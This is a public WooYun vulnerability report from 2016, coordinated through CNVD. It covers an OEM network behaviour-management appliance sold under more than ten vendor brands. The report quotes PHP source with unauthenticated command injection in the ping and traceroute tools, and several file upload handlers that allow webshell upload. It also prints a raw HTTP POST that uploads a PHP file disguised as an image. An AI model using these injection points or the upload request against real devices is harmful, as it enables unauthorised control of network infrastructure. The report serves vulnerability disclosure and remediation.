当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0192732

漏洞标题:某OEM产品设备任意四处任意命令及getshell(涉及天融信/锐捷/任子行/中科网威/D-Link等10多家厂商)

相关厂商:OEM

漏洞作者: YY-2012

提交时间:2016-04-05 17:50

修复时间:2016-07-06 08:40

公开时间:2016-07-06 08:40

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-05: 细节已通知厂商并且等待厂商处理中
2016-04-07: 厂商已经确认,细节仅向厂商公开
2016-04-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-01: 细节向核心白帽子及相关领域专家公开
2016-06-11: 细节向普通白帽子公开
2016-06-21: 细节向实习白帽子公开
2016-07-06: 细节向公众公开

简要描述:

rt

详细说明:

上海冰峰计算机网络技术有限公司
冰峰上网行为管理设备/NP10501000M/
**.**.**.**:9090/#
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/

冰峰上网行为管理设备NP10501000M.jpg


NP上网行为管理
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:8090/
**.**.**.**:9090/
**.**.**.**:9090/

NP上网行为管理.jpg


GIS上网行为管理设备
**.**.**.**:8080/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/

GIS上网行为管理设备.jpg


天融信某上网行为管理设备
**.**.**.**/
**.**.**.**:8888/
**.**.**.**/
**.**.**.**/
**.**.**.**:10000/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:4433/
**.**.**.**/
**.**.**.**/

天融信某上网行为管理设备.jpg


D-Link上网行为管理设备
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/

D-Link上网行为管理设备.jpg


福建海峡信息技术有限公司
黑盾安全审计系统
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
https://**.**.**.**:9090/
**.**.**.**:9090/

黑盾安全审计系统.jpg


RG-UAC锐捷统一上网行为管理与审计设备
**.**.**.**/
**.**.**.**:8089/
**.**.**.**:8089/
**.**.**.**/
**.**.**.**/

RG-UAC锐捷统一上网行为管理与审计设备.jpg


深圳奥联信息安全技术有限公司
审计设备
**.**.**.**/
**.**.**.**:9090/
**.**.**.**/
**.**.**.**:9090/
**.**.**.**:9090/

深圳奥联信息安全技术有限公司.jpg


台湾公司:IDMART奕銓科技-網路監控/流量控管/負載平衡/攻擊防護/次世代防火牆
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/

IDMART奕銓科技.jpg


华信运维安全管理系统v2.0
**.**.**.**:9090/
**.**.**.**:9090/

华信运维安全管理系统v2.0.jpg


任天行网络安全管理系统(SURF-RAG)
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:4433/
**.**.**.**/

任天行网络安全管理系统(SURF-RAG).jpg


中科网威安全网关
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/

中科网威安全网关.jpg


中科网优网络行为管理系统
https://**.**.**.**:9090/login.php
https://**.**.**.**:9090/
https://**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/

中科网优网络行为管理系统.jpg


胜鑫塔上网行为管理
**.**.**.**:9090/
**.**.**.**:9090/

胜鑫塔上网行为管理.jpg


南京清华永新网络科技有限公司
**.**.**.**:9090/

南京清华永新网络科技有限公司.jpg


Neusoft东软
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/

Neusoft东软.jpg


Aisino航天信息股份网络审计管控系统
**.**.**.**:9090/login.php
**.**.**.**/

Aisino航天信息股份网络审计管控系统.jpg


登陆界面无标识:
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/
**.**.**.**:9090/

aaaaaaaaaa111111111111111111111.jpg

漏洞证明:

两处任意命令执行无需登录:
第一处:

if(key_exists("text_target", $_GET)
&& key_exists("text_pingcount", $_GET)
&& key_exists("text_packetsize", $_GET))
{
$text_target = $_GET["text_target"];
$text_pingcount = $_GET["text_pingcount"];
$text_packetsize = $_GET["text_packetsize"];
$pingcmd = sprintf("ping %s -c %s -s %s", $text_target, $text_pingcount, $text_packetsize);
exec($pingcmd, $lines);


/view/systemConfig/systemTool/ping/ping.php

aaaaaaaaaaaaaaaaaa333333333333333333333.jpg


第二处:

$text_target = $_GET["text_target"];
$text_ageout = $_GET["text_ageout"];
$text_minttl = $_GET["text_minttl"];
$text_maxttl = $_GET["text_maxttl"];
$traceroutecmd = sprintf("traceroute %s -f %s -m %s -w %s -q 1", $text_target, $text_minttl, $text_maxttl, $text_ageout);
exec($traceroutecmd, $lines);
$rettraceroutecmd .= _gettext("testing_wait").chr(10).chr(10);


/view/systemConfig/systemTool/traceRoute/traceroute.php
利用方式同上。
两处命令执行需登录:
第一处:/view/IPV6/ipv6networktool/ping/ping.php

if(key_exists("text_target", $_GET)
&& key_exists("text_pingcount", $_GET)
&& key_exists("text_packetsize", $_GET))
{
$text_target6 = $_GET["text_target"];
$text_pingcount6 = $_GET["text_pingcount"];
$text_packetsize6 = $_GET["text_packetsize"];
$pingcmd = sprintf("ping -c %s -s %s %s", $text_pingcount6, $text_packetsize6, $text_target6);
exec($pingcmd, $lines);
$retpingcmd6 .= _gettext("testing_wait").chr(10).chr(10);


aaaaaaaaaaaaaaaaaaa222222222222222222222222.jpg


第二处:
/view/IPV6/ipv6networktool/traceroute/traceroute.php

$text_target = $_GET["text_target"];
$text_ageout = $_GET["text_ageout"];
$text_minttl = $_GET["text_minttl"];
$text_maxttl = $_GET["text_maxttl"];

$traceroutecmd = sprintf("traceroute6 -6 -f %s -m %s -w %s %s", $text_minttl, $text_maxttl, $text_ageout, $text_target);
exec($traceroutecmd, $lines);
$rettraceroutecmd .= _gettext("testing_wait").chr(10).chr(10);


利用方式同上。
三处任意文件上传getshell需登录:
第一处:
\view\userAuthentication\userDefined\upload.php

<?php
$page_name = 'AuthenticationOptions';
include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");//身份认证
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://**.**.**.**/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="/css/skin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="/js/prototype.js"></script>
<script type="text/javascript" src="/js/base.js"></script>
</head>
<body>
<?php
function upload($file,$dir,$name)
{
$max_size=1024000; //500 KB
$max_w = 8800; //最大宽度800像素
$max_h = 8600; //最大高度600像素
$min_w = 10; //最小宽度400像素
$min_h = 10; //最小高度300像素
if($dir) //如果路径不是以"/"结尾则加上"/"
{ if(substr($dir,-1)!="/")
$dir=$dir."/";
}
if($name=="")
$name=$_FILES["$file"][name];
$len=strrpos($name,"."); //取得主文件名长度
if(!$len)
$len=strlen($name);
$name=substr($name,0,$len); //取得主文件名
//添加扩展名
if($_FILES["$file"][type]=="image/gif")
$name=$name.".gif";
if($_FILES["$file"][type]=="image/pjpeg")
$name=$name.".jpg";
if($_FILES["$file"][type]=="image/jpeg")
$name=$name.".jpg";
if($_FILES["$file"][type]=="image/x-png")
$name=$name.".png";
//检查上传过程中是否出现错误
if($_FILES["$file"][error]) //当发生错误时
{
if(($_FILES["$file"][error]==1)||($_FILES["$file"][error]==2))
$info=_gettext('uploadFail');
if($_FILES["$file"][error] ==3)
$info=_gettext('uploadFail');
if($_FILES["$file"][error] ==4)
$info=_gettext('uploadFail');
if($_FILES["$file"][error] ==5)
$info=_gettext('uploadFail');
}
else //当上传成功时
{
if(($_FILES["$file"][type]=="image/gif")||($_FILES["$file"][type]=="image/pjpeg")||($_FILES["$file"][type]=="image/x-png")||($_FILES["$file"][type]=="image/jpeg")) //是合法的文件类型时
{
if($_FILES["$file"][size]<=$max_size) //检查文件大小
{
$size=GetImageSize($_FILES["$file"][tmp_name]);
if(($size[0]<=$max_w)&&($size[0]>=$min_w)&&($size[1]<=$max_h)&&($size[1]>=$min_h)) //检查图片的长宽
{
//复制文件到指定位置。
copy($_FILES["$file"][tmp_name],$dir.$name); //复制文件,并改名
if(file_exists($dir.$name)) //检查是否上传成功
{
$cmd = "mkdir /home/config/default/Image/";
exec($cmd);
copy($_FILES["$file"][tmp_name],"/home/config/default/Image/".$name); //复制文件,并改名
$info=_gettext('uploadSuccess');
}
else
$info=_gettext('uploadFail');
}
else //图片尺寸不合适时
{
$info=_gettext('uploadFail_image_size_error');
}
}
else //文件超出限制时
{
$info=_gettext('uploadFail_file_too_big');
}
}
else //文件类型非法时
{
$info=_gettext('uploadFail_file_type_error');
}
}
return "$info";
}
$info = upload("upImage","/var/www/auth/images/","")
?>
<script language="javascript" type="text/javascript">
alert("<?php echo $info;?>");
window.location.href="list.php";
</script>
</body></html>


第二处:
\view\systemObject\certificateAdmin\sslLib\upload.php

<?php
$page_name = 'm_certification';
include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");//ʭ·ވЖ¤
//include_once("E:/ag380-wp/page/nm/model/common_fun.php");
$certDir = '/usr/local/squid/var/temp/';
$result = -1;
function upload(&$errorInfo)
{
global $certDir;
global $result;
$upfilename = 'file';
$file = $_FILES[$upfilename];

if($_FILES[$upfilename]['error'] != 0)
{
$errorInfo = _gettext('fail').'('.$_FILES[$upfilename]['error'].')';
return false;
}
$tmp_name=$file["tmp_name"];

if(!is_uploaded_file($tmp_name))
{
$errorInfo = _gettext('tmp file error');
return false;
}
$destination = $certDir.$file["name"];

if(!file_exists($certDir))
mkdir($certDir);

if(!move_uploaded_file ($tmp_name, $destination))
{
$errorInfo = _gettext('movefail');
return false;
}

$result = load_ssl_certs($destination);
eturn true;
}



if($_REQUEST)
{
foreach ($_REQUEST as $key=>&$value)
{
if(!is_array($value))
$value = stripslashes((trim($value)));
}
}


if ( $_FILES['file']['name']!= '')
{
upload($reMsg);
$reMsg1 ="error";
}



?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://**.**.**.**/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Ϟ±덢τµµ</title>
<link href="/css/skin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="/js/prototype.js"></script>
<script type="text/javascript" src="/js/base.js"></script>
<script type="text/javascript">
<?php
if( $result != 0 )
echo "alert('".$reMsg1."!');";
?>
location.href = 'list.php';
</script>
</head>
<body>
</body>
</html>


上面两处利用方式:

POST /view/systemObject/certificateAdmin/sslLib/upload.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e0313222035c
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: **.**.**.**:9090
Content-Length: 203
Pragma: no-cache
Cookie: PHPSESSID=
Connection: close
-----------------------------7e0313222035c
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
test
-----------------------------7e0313222035c--


第三处:
/view/fireWall/securityPolicy/upload.php

<?php
$page_name = 'm_secpolicy';
include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");
require_once("../../../model/File.php");
print_r($_POST);
$upload = new UploadFile("/var/www/html/upload",'',2*1024);
$upload->run('security_policy_file');
print_r($upload->get_info());
?>


aaaaaaaaaaaaaaaaa444444444444444444444444.jpg

修复方案:

联系厂商

版权声明:转载请注明来源 YY-2012@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-04-07 08:34

厂商回复:

CNVD确认所述情况,根据测试涉及的设备生产厂商,首先通知CNVD成员单位,后续尝试一一通知国内外相关厂商.对于厂商处置情况,CNVD重点监督成员单位做好设备用户方的主动修复工作.rank 40+.

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-05 17:51 | 带头大哥 ( 普通白帽子 | Rank:885 漏洞数:266 | |任意邮件伪造| |目录遍历| |任意文件读取|...)

    就说怎么能没有你发的漏洞呢......我实在找不动了...找到的也是案例不足...

  2. 2016-04-11 09:44 | 开心一下1313 ( 实习白帽子 | Rank:77 漏洞数:27 | 喝口水,压压惊......)

    rank 40+

  3. 2016-04-11 17:55 | 未了 ( 路人 | Rank:2 漏洞数:3 )

    40+++++++++++++++++++

  4. 2016-04-11 18:15 | Mark0smith ( 普通白帽子 | Rank:178 漏洞数:72 )

    6